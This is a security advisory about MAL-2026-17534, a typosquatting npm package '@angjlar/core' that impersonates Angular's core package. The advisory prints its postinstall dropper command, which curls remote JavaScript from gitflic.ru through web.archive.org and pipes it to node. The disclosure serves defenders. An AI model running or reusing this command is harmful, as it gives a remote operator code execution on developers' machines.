What is MAL-2026-17534?
MAL-2026-17534 is a malicious package in @angjlar/core, published on 5 Oct 2026.
Official description
Package @angjlar/core impersonates @angular/core: its package.json copies the real Angular project's description ('Angular - the core framework'), author ('angular'), and repository URL (github.com/angular/angular.git), while publishing under the lookalike scope @angjlar. The postinstall lifecycle script in package.json runs
curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node, fetching unpinned, mutable JavaScript from a non-publisher host (gitflic.ru, proxied through web.archive.org) and piping it to the node interpreter. On npm install, this gives the operator of that remote script arbitrary code execution on the installer's machine. The package has no legitimate relationship to Angular; the impersonating metadata exists solely to lure developers who mistype @angular/core into installing the dropper.What should I do about MAL-2026-17534?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
